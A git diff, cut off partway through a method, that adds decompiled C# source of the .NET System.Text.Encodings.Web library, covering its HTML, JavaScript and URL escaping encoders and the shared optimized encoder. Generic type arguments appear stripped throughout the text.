a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/AsciiByteMap.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/AsciiByteMap.cs new file mode 100644 index 0000000..ae6dfa1 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/AsciiByteMap.cs @@ -0,0 +1,34 @@ +using System.Runtime.CompilerServices; + +namespace System.Text.Encodings.Web; + +internal struct AsciiByteMap +{ + private const int BufferSize = 128; + + private unsafe fixed byte Buffer[128]; + + internal unsafe void InsertAsciiChar(char key, byte value) + { + if (key < '\u0080') + { + Buffer[(uint)key] = value; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal unsafe readonly bool TryLookup(Rune key, out byte value) + { + if (key.IsAscii) + { + byte b = Buffer[(uint)key.Value]; + if (b != 0) + { + value = b; + return true; + } + } + value = 0; + return false; + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/DefaultHtmlEncoder.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/DefaultHtmlEncoder.cs new file mode 100644 index 0000000..7f3d399 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/DefaultHtmlEncoder.cs @@ -0,0 +1,181 @@ +using System.Buffers; +using System.Numerics; +using System.Text.Unicode; + +namespace System.Text.Encodings.Web; + +internal sealed class DefaultHtmlEncoder : HtmlEncoder +{ + private sealed class EscaperImplementation : ScalarEscaperBase + { + internal static readonly EscaperImplementation Singleton = new EscaperImplementation(); + + private EscaperImplementation() + { + } + + internal override int EncodeUtf8(Rune value, Span destination) + { + if (value.Value == 60) + { + if (SpanUtility.TryWriteBytes(destination, 38, 108, 116, 59)) + { + return 4; + } + } + else if (value.Value == 62) + { + if (SpanUtility.TryWriteBytes(destination, 38, 103, 116, 59)) + { + return 4; + } + } + else if (value.Value == 38) + { + if (SpanUtility.TryWriteBytes(destination, 38, 97, 109, 112, 59)) + { + return 5; + } + } + else + { + if (value.Value != 34) + { + return TryEncodeScalarAsHex(this, (uint)value.Value, destination); + } + if (SpanUtility.TryWriteBytes(destination, 38, 113, 117, 111, 116, 59)) + { + return 6; + } + } + return -1; + static int TryEncodeScalarAsHex(object @this, uint scalarValue, Span span) + { + int num = (int)((uint)BitOperations.Log2(scalarValue) / 4u + 4); + if (SpanUtility.IsValidIndex(span, num)) + { + span[num] = 59; + SpanUtility.TryWriteBytes(span, 38, 35, 120, 48); + span = span.Slice(3, num - 3); + int num2 = span.Length - 1; + while (SpanUtility.IsValidIndex(span, num2)) + { + char c = System.HexConverter.ToCharUpper((int)scalarValue); + span[num2] = (byte)c; + scalarValue >>= 4; + num2--; + } + return span.Length + 4; + } + return -1; + } + } + + internal override int EncodeUtf16(Rune value, Span destination) + { + if (value.Value == 60) + { + if (SpanUtility.TryWriteChars(destination, '&', 'l', 't', ';')) + { + return 4; + } + } + else if (value.Value == 62) + { + if (SpanUtility.TryWriteChars(destination, '&', 'g', 't', ';')) + { + return 4; + } + } + else if (value.Value == 38) + { + if (SpanUtility.TryWriteChars(destination, '&', 'a', 'm', 'p', ';')) + { + return 5; + } + } + else + { + if (value.Value != 34) + { + return TryEncodeScalarAsHex(this, (uint)value.Value, destination); + } + if (SpanUtility.TryWriteChars(destination, '&', 'q', 'u', 'o', 't', ';')) + { + return 6; + } + } + return -1; + static int TryEncodeScalarAsHex(object @this, uint scalarValue, Span span) + { + int num = (int)((uint)BitOperations.Log2(scalarValue) / 4u + 4); + if (SpanUtility.IsValidIndex(span, num)) + { + span[num] = ';'; + SpanUtility.TryWriteChars(span, '&', '#', 'x', '0'); + span = span.Slice(3, num - 3); + int num2 = span.Length - 1; + while (SpanUtility.IsValidIndex(span, num2)) + { + char c = System.HexConverter.ToCharUpper((int)scalarValue); + span[num2] = c; + scalarValue >>= 4; + num2--; + } + return span.Length + 4; + } + return -1; + } + } + } + + internal static readonly DefaultHtmlEncoder BasicLatinSingleton = new DefaultHtmlEncoder(new TextEncoderSettings(UnicodeRanges.BasicLatin)); + + private readonly OptimizedInboxTextEncoder _innerEncoder; + + public override int MaxOutputCharactersPerInputCharacter => 8; + + internal DefaultHtmlEncoder(TextEncoderSettings settings) + { + if (settings == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.settings); + } + _innerEncoder = new OptimizedInboxTextEncoder(EscaperImplementation.Singleton, in settings.GetAllowedCodePointsBitmap()); + } + + private protected override OperationStatus EncodeCore(ReadOnlySpan source, Span destination, out int charsConsumed, out int charsWritten, bool isFinalBlock) + { + return _innerEncoder.Encode(source, destination, out charsConsumed, out charsWritten, isFinalBlock); + } + + private protected override OperationStatus EncodeUtf8Core(ReadOnlySpan utf8Source, Span utf8Destination, out int bytesConsumed, out int bytesWritten, bool isFinalBlock) + { + return _innerEncoder.EncodeUtf8(utf8Source, utf8Destination, out bytesConsumed, out bytesWritten, isFinalBlock); + } + + private protected override int FindFirstCharacterToEncode(ReadOnlySpan text) + { + return _innerEncoder.GetIndexOfFirstCharToEncode(text); + } + + public unsafe override int FindFirstCharacterToEncode(char* text, int textLength) + { + return _innerEncoder.FindFirstCharacterToEncode(text, textLength); + } + + public override int FindFirstCharacterToEncodeUtf8(ReadOnlySpan utf8Text) + { + return _innerEncoder.GetIndexOfFirstByteToEncode(utf8Text); + } + + public unsafe override bool TryEncodeUnicodeScalar(int unicodeScalar, char* buffer, int bufferLength, out int numberOfCharactersWritten) + { + return _innerEncoder.TryEncodeUnicodeScalar(unicodeScalar, buffer, bufferLength, out numberOfCharactersWritten); + } + + public override bool WillEncode(int unicodeScalar) + { + return !_innerEncoder.IsScalarValueAllowed(new Rune(unicodeScalar)); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/DefaultJavaScriptEncoder.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/DefaultJavaScriptEncoder.cs new file mode 100644 index 0000000..bd9caca --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/DefaultJavaScriptEncoder.cs @@ -0,0 +1,194 @@ +using System.Buffers; +using System.Text.Unicode; + +namespace System.Text.Encodings.Web; + +internal sealed class DefaultJavaScriptEncoder : JavaScriptEncoder +{ + private sealed class EscaperImplementation : ScalarEscaperBase + { + internal static readonly EscaperImplementation Singleton = new EscaperImplementation(allowMinimalEscaping: false); + + internal static readonly EscaperImplementation SingletonMinimallyEscaped = new EscaperImplementation(allowMinimalEscaping: true); + + private readonly AsciiByteMap _preescapedMap; + + private EscaperImplementation(bool allowMinimalEscaping) + { + _preescapedMap.InsertAsciiChar('\b', 98); + _preescapedMap.InsertAsciiChar('\t', 116); + _preescapedMap.InsertAsciiChar('\n', 110); + _preescapedMap.InsertAsciiChar('\f', 102); + _preescapedMap.InsertAsciiChar('\r', 114); + _preescapedMap.InsertAsciiChar('\\', 92); + if (allowMinimalEscaping) + { + _preescapedMap.InsertAsciiChar('"', 34); + } + } + + internal override int EncodeUtf8(Rune value, Span destination) + { + if (_preescapedMap.TryLookup(value, out var value2)) + { + if (SpanUtility.IsValidIndex(destination, 1)) + { + destination[0] = 92; + destination[1] = value2; + return 2; + } + return -1; + } + return TryEncodeScalarAsHex(this, value, destination); + static int TryEncodeScalarAsHex(object @this, Rune rune, Span span) + { + if (rune.IsBmp) + { + if (SpanUtility.IsValidIndex(span, 5)) + { + span[0] = 92; + span[1] = 117; + System.HexConverter.ToBytesBuffer((byte)rune.Value, span, 4); + System.HexConverter.ToBytesBuffer((byte)((uint)rune.Value >> 8), span, 2); + return 6; + } + } + else + { + UnicodeHelpers.GetUtf16SurrogatePairFromAstralScalarValue((uint)rune.Value, out var highSurrogate, out var lowSurrogate); + if (SpanUtility.IsValidIndex(span, 11)) + { + span[0] = 92; + span[1] = 117; + System.HexConverter.ToBytesBuffer((byte)highSurrogate, span, 4); + System.HexConverter.ToBytesBuffer((byte)((uint)highSurrogate >> 8), span, 2); + span[6] = 92; + span[7] = 117; + System.HexConverter.ToBytesBuffer((byte)lowSurrogate, span, 10); + System.HexConverter.ToBytesBuffer((byte)((uint)lowSurrogate >> 8), span, 8); + return 12; + } + } + return -1; + } + } + + internal override int EncodeUtf16(Rune value, Span destination) + { + if (_preescapedMap.TryLookup(value, out var value2)) + { + if (SpanUtility.IsValidIndex(destination, 1)) + { + destination[0] = '\\'; + destination[1] = (char)value2; + return 2; + } + return -1; + } + return TryEncodeScalarAsHex(this, value, destination); + static int TryEncodeScalarAsHex(object @this, Rune rune, Span span) + { + if (rune.IsBmp) + { + if (SpanUtility.IsValidIndex(span, 5)) + { + span[0] = '\\'; + span[1] = 'u'; + System.HexConverter.ToCharsBuffer((byte)rune.Value, span, 4); + System.HexConverter.ToCharsBuffer((byte)((uint)rune.Value >> 8), span, 2); + return 6; + } + } + else + { + UnicodeHelpers.GetUtf16SurrogatePairFromAstralScalarValue((uint)rune.Value, out var highSurrogate, out var lowSurrogate); + if (SpanUtility.IsValidIndex(span, 11)) + { + span[0] = '\\'; + span[1] = 'u'; + System.HexConverter.ToCharsBuffer((byte)highSurrogate, span, 4); + System.HexConverter.ToCharsBuffer((byte)((uint)highSurrogate >> 8), span, 2); + span[6] = '\\'; + span[7] = 'u'; + System.HexConverter.ToCharsBuffer((byte)lowSurrogate, span, 10); + System.HexConverter.ToCharsBuffer((byte)((uint)lowSurrogate >> 8), span, 8); + return 12; + } + } + return -1; + } + } + } + + internal static readonly DefaultJavaScriptEncoder BasicLatinSingleton = new DefaultJavaScriptEncoder(new TextEncoderSettings(UnicodeRanges.BasicLatin)); + + internal static readonly DefaultJavaScriptEncoder UnsafeRelaxedEscapingSingleton = new DefaultJavaScriptEncoder(new TextEncoderSettings(UnicodeRanges.All), allowMinimalJsonEscaping: true); + + private readonly OptimizedInboxTextEncoder _innerEncoder; + + public override int MaxOutputCharactersPerInputCharacter => 6; + + internal DefaultJavaScriptEncoder(TextEncoderSettings settings) + : this(settings, allowMinimalJsonEscaping: false) + { + } + + private DefaultJavaScriptEncoder(TextEncoderSettings settings, bool allowMinimalJsonEscaping) + { + if (settings == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.settings); + } + OptimizedInboxTextEncoder innerEncoder; + if (allowMinimalJsonEscaping) + { + ScalarEscaperBase singletonMinimallyEscaped = EscaperImplementation.SingletonMinimallyEscaped; + ref readonly AllowedBmpCodePointsBitmap allowedCodePointsBitmap = ref settings.GetAllowedCodePointsBitmap(); + Span span = stackalloc char[2] { '"', '\\' }; + innerEncoder = new OptimizedInboxTextEncoder(singletonMinimallyEscaped, in allowedCodePointsBitmap, forbidHtmlSensitiveCharacters: false, span); + } + else + { + ScalarEscaperBase singleton = EscaperImplementation.Singleton; + ref readonly AllowedBmpCodePointsBitmap allowedCodePointsBitmap2 = ref settings.GetAllowedCodePointsBitmap(); + Span span = stackalloc char[2] { '\\', '`' }; + innerEncoder = new OptimizedInboxTextEncoder(singleton, in allowedCodePointsBitmap2, forbidHtmlSensitiveCharacters: true, span); + } + _innerEncoder = innerEncoder; + } + + private protected override OperationStatus EncodeCore(ReadOnlySpan source, Span destination, out int charsConsumed, out int charsWritten, bool isFinalBlock) + { + return _innerEncoder.Encode(source, destination, out charsConsumed, out charsWritten, isFinalBlock); + } + + private protected override OperationStatus EncodeUtf8Core(ReadOnlySpan utf8Source, Span utf8Destination, out int bytesConsumed, out int bytesWritten, bool isFinalBlock) + { + return _innerEncoder.EncodeUtf8(utf8Source, utf8Destination, out bytesConsumed, out bytesWritten, isFinalBlock); + } + + private protected override int FindFirstCharacterToEncode(ReadOnlySpan text) + { + return _innerEncoder.GetIndexOfFirstCharToEncode(text); + } + + public unsafe override int FindFirstCharacterToEncode(char* text, int textLength) + { + return _innerEncoder.FindFirstCharacterToEncode(text, textLength); + } + + public override int FindFirstCharacterToEncodeUtf8(ReadOnlySpan utf8Text) + { + return _innerEncoder.GetIndexOfFirstByteToEncode(utf8Text); + } + + public unsafe override bool TryEncodeUnicodeScalar(int unicodeScalar, char* buffer, int bufferLength, out int numberOfCharactersWritten) + { + return _innerEncoder.TryEncodeUnicodeScalar(unicodeScalar, buffer, bufferLength, out numberOfCharactersWritten); + } + + public override bool WillEncode(int unicodeScalar) + { + return !_innerEncoder.IsScalarValueAllowed(new Rune(unicodeScalar)); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/DefaultUrlEncoder.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/DefaultUrlEncoder.cs new file mode 100644 index 0000000..32fb49e --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/DefaultUrlEncoder.cs @@ -0,0 +1,153 @@ +using System.Buffers; +using System.Text.Unicode; + +namespace System.Text.Encodings.Web; + +internal sealed class DefaultUrlEncoder : UrlEncoder +{ + private sealed class EscaperImplementation : ScalarEscaperBase + { + internal static readonly EscaperImplementation Singleton = new EscaperImplementation(); + + private EscaperImplementation() + { + } + + internal override int EncodeUtf8(Rune value, Span destination) + { + uint utf8RepresentationForScalarValue = (uint)UnicodeHelpers.GetUtf8RepresentationForScalarValue((uint)value.Value); + if (SpanUtility.IsValidIndex(destination, 2)) + { + destination[0] = 37; + System.HexConverter.ToBytesBuffer((byte)utf8RepresentationForScalarValue, destination, 1); + if ((utf8RepresentationForScalarValue >>= 8) == 0) + { + return 3; + } + if (SpanUtility.IsValidIndex(destination, 5)) + { + destination[3] = 37; + System.HexConverter.ToBytesBuffer((byte)utf8RepresentationForScalarValue, destination, 4); + if ((utf8RepresentationForScalarValue >>= 8) == 0) + { + return 6; + } + if (SpanUtility.IsValidIndex(destination, 8)) + { + destination[6] = 37; + System.HexConverter.ToBytesBuffer((byte)utf8RepresentationForScalarValue, destination, 7); + if ((utf8RepresentationForScalarValue >>= 8) == 0) + { + return 9; + } + if (SpanUtility.IsValidIndex(destination, 11)) + { + destination[9] = 37; + System.HexConverter.ToBytesBuffer((byte)utf8RepresentationForScalarValue, destination, 10); + return 12; + } + } + } + } + return -1; + } + + internal override int EncodeUtf16(Rune value, Span destination) + { + uint utf8RepresentationForScalarValue = (uint)UnicodeHelpers.GetUtf8RepresentationForScalarValue((uint)value.Value); + if (SpanUtility.IsValidIndex(destination, 2)) + { + destination[0] = '%'; + System.HexConverter.ToCharsBuffer((byte)utf8RepresentationForScalarValue, destination, 1); + if ((utf8RepresentationForScalarValue >>= 8) == 0) + { + return 3; + } + if (SpanUtility.IsValidIndex(destination, 5)) + { + destination[3] = '%'; + System.HexConverter.ToCharsBuffer((byte)utf8RepresentationForScalarValue, destination, 4); + if ((utf8RepresentationForScalarValue >>= 8) == 0) + { + return 6; + } + if (SpanUtility.IsValidIndex(destination, 8)) + { + destination[6] = '%'; + System.HexConverter.ToCharsBuffer((byte)utf8RepresentationForScalarValue, destination, 7); + if ((utf8RepresentationForScalarValue >>= 8) == 0) + { + return 9; + } + if (SpanUtility.IsValidIndex(destination, 11)) + { + destination[9] = '%'; + System.HexConverter.ToCharsBuffer((byte)utf8RepresentationForScalarValue, destination, 10); + return 12; + } + } + } + } + return -1; + } + } + + internal static readonly DefaultUrlEncoder BasicLatinSingleton = new DefaultUrlEncoder(new TextEncoderSettings(UnicodeRanges.BasicLatin)); + + private readonly OptimizedInboxTextEncoder _innerEncoder; + + public override int MaxOutputCharactersPerInputCharacter => 9; + + internal DefaultUrlEncoder(TextEncoderSettings settings) + { + if (settings == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.settings); + } + ScalarEscaperBase singleton = EscaperImplementation.Singleton; + ref readonly AllowedBmpCodePointsBitmap allowedCodePointsBitmap = ref settings.GetAllowedCodePointsBitmap(); + Span span = stackalloc char[31] + { + ' ', '#', '%', '/', ':', '=', '?', '[', '\\', ']', + '^', '`', '{', '|', '}', '\ufff0', '\ufff1', '\ufff2', '\ufff3', '\ufff4', + '\ufff5', '\ufff6', '\ufff7', '\ufff8', '\ufff9', '\ufffa', '\ufffb', '', '\ufffd', '\ufffe', + '\uffff' + }; + _innerEncoder = new OptimizedInboxTextEncoder(singleton, in allowedCodePointsBitmap, forbidHtmlSensitiveCharacters: true, span); + } + + private protected override OperationStatus EncodeCore(ReadOnlySpan source, Span destination, out int charsConsumed, out int charsWritten, bool isFinalBlock) + { + return _innerEncoder.Encode(source, destination, out charsConsumed, out charsWritten, isFinalBlock); + } + + private protected override OperationStatus EncodeUtf8Core(ReadOnlySpan utf8Source, Span utf8Destination, out int bytesConsumed, out int bytesWritten, bool isFinalBlock) + { + return _innerEncoder.EncodeUtf8(utf8Source, utf8Destination, out bytesConsumed, out bytesWritten, isFinalBlock); + } + + private protected override int FindFirstCharacterToEncode(ReadOnlySpan text) + { + return _innerEncoder.GetIndexOfFirstCharToEncode(text); + } + + public unsafe override int FindFirstCharacterToEncode(char* text, int textLength) + { + return _innerEncoder.FindFirstCharacterToEncode(text, textLength); + } + + public override int FindFirstCharacterToEncodeUtf8(ReadOnlySpan utf8Text) + { + return _innerEncoder.GetIndexOfFirstByteToEncode(utf8Text); + } + + public unsafe override bool TryEncodeUnicodeScalar(int unicodeScalar, char* buffer, int bufferLength, out int numberOfCharactersWritten) + { + return _innerEncoder.TryEncodeUnicodeScalar(unicodeScalar, buffer, bufferLength, out numberOfCharactersWritten); + } + + public override bool WillEncode(int unicodeScalar) + { + return !_innerEncoder.IsScalarValueAllowed(new Rune(unicodeScalar)); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/ExceptionArgument.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/ExceptionArgument.cs new file mode 100644 index 0000000..5a2024f --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/ExceptionArgument.cs @@ -0,0 +1,14 @@ +namespace System.Text.Encodings.Web; + +internal enum ExceptionArgument +{ + value, + settings, + output, + other, + allowedRanges, + characters, + codePoints, + range, + ranges +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/HtmlEncoder.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/HtmlEncoder.cs new file mode 100644 index 0000000..7f95e9b --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/HtmlEncoder.cs @@ -0,0 +1,18 @@ +using System.Text.Unicode; + +namespace System.Text.Encodings.Web; + +public abstract class HtmlEncoder : TextEncoder +{ + public static HtmlEncoder Default => DefaultHtmlEncoder.BasicLatinSingleton; + + public static HtmlEncoder Create(TextEncoderSettings settings) + { + return new DefaultHtmlEncoder(settings); + } + + public static HtmlEncoder Create(params UnicodeRange[] allowedRanges) + { + return new DefaultHtmlEncoder(new TextEncoderSettings(allowedRanges)); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/JavaScriptEncoder.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/JavaScriptEncoder.cs new file mode 100644 index 0000000..1e9c98d --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/JavaScriptEncoder.cs @@ -0,0 +1,20 @@ +using System.Text.Unicode; + +namespace System.Text.Encodings.Web; + +public abstract class JavaScriptEncoder : TextEncoder +{ + public static JavaScriptEncoder Default => DefaultJavaScriptEncoder.BasicLatinSingleton; + + public static JavaScriptEncoder UnsafeRelaxedJsonEscaping => DefaultJavaScriptEncoder.UnsafeRelaxedEscapingSingleton; + + public static JavaScriptEncoder Create(TextEncoderSettings settings) + { + return new DefaultJavaScriptEncoder(settings); + } + + public static JavaScriptEncoder Create(params UnicodeRange[] allowedRanges) + { + return new DefaultJavaScriptEncoder(new TextEncoderSettings(allowedRanges)); + } +} diff --git a/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/OptimizedInboxTextEncoder.cs b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/OptimizedInboxTextEncoder.cs new file mode 100644 index 0000000..dbbfd26 --- /dev/null +++ b/decompiled/Libraries/system.text.encodings.web/System.Text.Encodings.Web/OptimizedInboxTextEncoder.cs @@ -0,0 +1,392 @@ +using System.Buffers; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System.Text.Encodings.Web; + +internal sealed class OptimizedInboxTextEncoder +{ + [StructLayout(LayoutKind.Explicit)] + private struct AllowedAsciiCodePoints + { + [FieldOffset(0)] + private unsafe fixed byte AsBytes[16]; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal unsafe readonly bool IsAllowedAsciiCodePoint(uint codePoint) + { + if (codePoint > 127) + { + return false; + } + uint num = AsBytes[codePoint & 0xF]; + if ((num & (uint)(1 << (int)(codePoint >> 4))) == 0) + { + return false; + } + return true; + } + + internal unsafe void PopulateAllowedCodePoints(in AllowedBmpCodePointsBitmap allowedBmpCodePoints) + { + this = default(AllowedAsciiCodePoints); + for (int i = 32; i < 127; i++) + { + if (allowedBmpCodePoints.IsCharAllowed((char)i)) + { + ref byte reference = ref AsBytes[i & 0xF]; + reference |= (byte)(1 << (i >> 4)); + } + } + } + } + + private struct AsciiPreescapedData + { + private unsafe fixed ulong Data[128]; + + internal unsafe void PopulatePreescapedData(in AllowedBmpCodePointsBitmap allowedCodePointsBmp, ScalarEscaperBase innerEncoder) + { + this = default(AsciiPreescapedData); + byte* intPtr = stackalloc byte[16]; + // IL initblk instruction + Unsafe.InitBlock(intPtr, 0, 16); + Span span = new Span(intPtr, 8); + Span span2 = span; + for (int i = 0; i < 128; i++) + { + Rune value = new Rune(i); + ulong num; + int num2; + if (!Rune.IsControl(value) && allowedCodePointsBmp.IsCharAllowed((char)i)) + { + num = (uint)i; + num2 = 1; + } + else + { + num2 = innerEncoder.EncodeUtf16(value, span2.Slice(0, 6)); + num = 0uL; + span2.Slice(num2).Clear(); + for (int num3 = num2 - 1; num3 >= 0; num3--) + { + uint num4 = span2[num3]; + num = (num << 8) | num4; + } + } + Data[i] = num | ((ulong)(uint)num2 << 56); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal unsafe readonly bool TryGetPreescapedData(uint codePoint, out ulong preescapedData) + { + if (codePoint <= 127) + { + preescapedData = Data[codePoint]; + return true; + } + preescapedData = 0uL; + return false; + } + } + + private readonly AllowedAsciiCodePoints _allowedAsciiCodePoints; + + private readonly AsciiPreescapedData _asciiPreescapedData; + + private readonly AllowedBmpCodePointsBitmap _allowedBmpCodePoints; + + private readonly ScalarEscaperBase _scalarEscaper; + + internal OptimizedInboxTextEncoder(ScalarEscaperBase scalarEscaper, in AllowedBmpCodePointsBitmap allowedCodePointsBmp, bool forbidHtmlSensitiveCharacters = true, ReadOnlySpan extraCharactersToEscape = default(ReadOnlySpan)) + { + _scalarEscaper = scalarEscaper; + _allowedBmpCodePoints = allowedCodePointsBmp; + _allowedBmpCodePoints.ForbidUndefinedCharacters(); + if (forbidHtmlSensitiveCharacters) + { + _allowedBmpCodePoints.ForbidHtmlCharacters(); + } + ReadOnlySpan readOnlySpan = extraCharactersToEscape; + for (int i = 0; i < readOnlySpan.Length; i++) + { + char value = readOnlySpan[i]; + _allowedBmpCodePoints.ForbidChar(value); + } + _asciiPreescapedData.PopulatePreescapedData(in _allowedBmpCodePoints, scalarEscaper); + _allowedAsciiCodePoints.PopulateAllowedCodePoints(in _allowedBmpCodePoints); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [Obsolete("FindFirstCharacterToEncode has been deprecated. It should only be used by the TextEncoder adapter.")] + public unsafe int FindFirstCharacterToEncode(char* text, int textLength) + { + return GetIndexOfFirstCharToEncode(new ReadOnlySpan(text, textLength)); + } + + [Obsolete("TryEncodeUnicodeScalar has been deprecated. It should only be used by the TextEncoder adapter.")] + public unsafe bool TryEncodeUnicodeScalar(int unicodeScalar, char* buffer, int bufferLength, out int numberOfCharactersWritten) + { + Span destination = new Span(buffer, bufferLength); + if (_allowedBmpCodePoints.IsCodePointAllowed((uint)unicodeScalar)) + { + if (!destination.IsEmpty) + { + destination[0] = (char)unicodeScalar; + numberOfCharactersWritten = 1; + return true; + } + } + else + { + int num = _scalarEscaper.EncodeUtf16(new Rune(unicodeScalar), destination); + if (num >= 0) + { + numberOfCharactersWritten = num; + return true; + } + } + numberOfCharactersWritten = 0; + return false; + } + + public OperationStatus Encode(ReadOnlySpan source, Span destination, out int charsConsumed, out int charsWritten, bool isFinalBlock) + { + _AssertThisNotNull(); + int num = 0; + int num2 = 0; + OperationStatus result2; + while (true) + { + int num3; + Rune result; + if (SpanUtility.IsValidIndex(source, num)) + { + char c = source[num]; + if (_asciiPreescapedData.TryGetPreescapedData(c, out var preescapedData)) + { + if (SpanUtility.IsValidIndex(destination, num2)) + { + destination[num2] = (char)(byte)preescapedData; + if (((int)preescapedData & 0xFF00) == 0) + { + num2++; + num++; + continue; + } + preescapedData >>= 8; + num3 = num2 + 1; + while (SpanUtility.IsValidIndex(destination, num3)) + { + destination[num3++] = (char)(byte)preescapedData; + if ((byte)(preescapedData >>= 8) != 0) + { + continue; + } + goto IL_0091; + } + } + goto IL_0148; + } + if (Rune.TryCreate(c, out result)) + { + goto IL_00e1; + } + int index = num + 1; + if (SpanUtility.IsValidIndex(source, index)) + { + if (Rune.TryCreate(c, source[index], out result)) + { + goto IL_00e1; + } + } + else if (!isFinalBlock && char.IsHighSurrogate(c)) + { + result2 = OperationStatus.NeedMoreData; + break; + } + result = Rune.ReplacementChar; + goto IL_010d; + } + result2 = OperationStatus.Done; + break; + IL_0148: + result2 = OperationStatus.DestinationTooSmall; + break; + IL_0091: + num2 = num3; + num++; + continue; + IL_010d: + int num4 = _scalarEscaper.EncodeUtf16(result, destination.Slice(num2)); + if (num4 >= 0) + { + num2 += num4; + num += result.Utf16SequenceLength; + continue; + } + goto IL_0148; + IL_00e1: + if (!IsScalarValueAllowed(result)) + { + goto IL_010d; + } + if (result.TryEncodeToUtf16(destination.Slice(num2), out var charsWritten2)) + { + num2 += charsWritten2; + num += charsWritten2; + continue; + } + goto IL_0148; + } + charsConsumed = num; + charsWritten = num2; + return result2; + } + + public OperationStatus EncodeUtf8(ReadOnlySpan source, Span destination, out int bytesConsumed, out int bytesWritten, bool isFinalBlock) + { + _AssertThisNotNull(); + int num = 0; + int num2 = 0; + OperationStatus result2; + while (true) + { + int num3; + if (SpanUtility.IsValidIndex(source, num)) + { + uint codePoint = source[num]; + if (_asciiPreescapedData.TryGetPreescapedData(codePoint, out var preescapedData)) + { + if (SpanUtility.TryWriteUInt64LittleEndian(destination, num2, preescapedData)) + { + num2 += (int)(preescapedData >> 56); + num++; + continue; + } + num3 = num2; + while (SpanUtility.IsValidIndex(destination, num3)) + { + destination[num3++] = (byte)preescapedData; + if ((byte)(preescapedData >>= 8) != 0) + { + continue; + } + goto IL_0076; + } + } + else + { + Rune result; + int bytesConsumed2; + OperationStatus operationStatus = Rune.DecodeFromUtf8(source.Slice(num), out result, out bytesConsumed2); + if (operationStatus != OperationStatus.Done) + { + if (!isFinalBlock && operationStatus == OperationStatus.NeedMoreData) + { + result2 = OperationStatus.NeedMoreData; + break; + } + } + else if (IsScalarValueAllowed(result)) + { + if (result.TryEncodeToUtf8(destination.Slice(num2), out var bytesWritten2)) + { + num2 += bytesWritten2; + num += bytesWritten2; + continue; + } + goto IL_0103; + } + int num4 = _scalarEscaper.EncodeUtf8(result, destination.Slice(num2)); + if (num4 >= 0) + { + num2 += num4; + num += bytesConsumed2; + continue; + } + } + goto IL_0103; + } + result2 = OperationStatus.Done; + break; + IL_0076: + num2 = num3; + num++; + continue; + IL_0103: + result2 = OperationStatus.DestinationTooSmall; + break; + } + bytesConsumed = num; + bytesWritten = num2; + return result2; + } + + public int GetIndexOfFirstByteToEncode(ReadOnlySpan data) + { + int length = data.Length; + Rune result; + int bytesConsumed; + while (!data.IsEmpty && Rune.DecodeFromUtf8(data, out result, out bytesConsumed) == OperationStatus.Done && bytesConsumed < 4 && _allowedBmpCodePoints.IsCharAllowed((char)result.Value)) + { + data = data.Slice(bytesConsumed); + } + if (!data.IsEmpty) + { + return length - data.Length; + } + return -1; + } + + public unsafe int GetIndexOfFirstCharToEncode(ReadOnlySpan data) + { + fixed (char* ptr = data) + { + nuint num = (uint)data.Length; + nuint num2 = 0u; + if (num2 < num) + { + _AssertThisNotNull(); + nint num3 = 0; + while (true) + { + if (num - num2 >= 8) + { + num3 = -1; + if (_allowedBmpCodePoints.IsCharAllowed(ptr[(nuint)((nint)num2 + ++num3)]) && _allowedBmpCodePoints.IsCharAllowed(ptr[(nuint)((nint)num2 + ++num3)]) && _allowedBmpCodePoints.IsCharAllowed(ptr[(nuint)((nint)num2 + ++num3)]) && _allowedBmpCodePoints.IsCharAllowed(ptr[(nuint)((nint)num2 + ++num3)]) && _allowedBmpCodePoints.IsCharAllowed(ptr[(nuint)((nint)num2 + ++num3)]) && _allowedBmpCodePoints.IsCharAllowed(ptr[(nuint)((nint)num2 + ++num3)]) && _allowedBmpCodePoints.IsCharAllowed(ptr[(nuint)((nint)num2 + ++num3)]) && _allowedBmpCodePoints.IsCharAllowed(ptr[(nuint)((nint)num2 + ++num3)])) + { + num2 += 8; + continue; + } + num2 += (nuint)num3; + break; + } + for (; num2 < num && _allowedBmpCodePoints.IsCharAllowed(ptr[num2]); num2++) + { + } + break; + } + } + int num4 = (int)num2; + if (num4 == (int)num) + { + num4 = -1; + } + return num4; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public bool IsScalarValueAllowed(Rune value) + { + return _allowedBmpCodePoints.IsCodePointAllowed((uint)value.Value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void _AssertThisNotNull() + { + 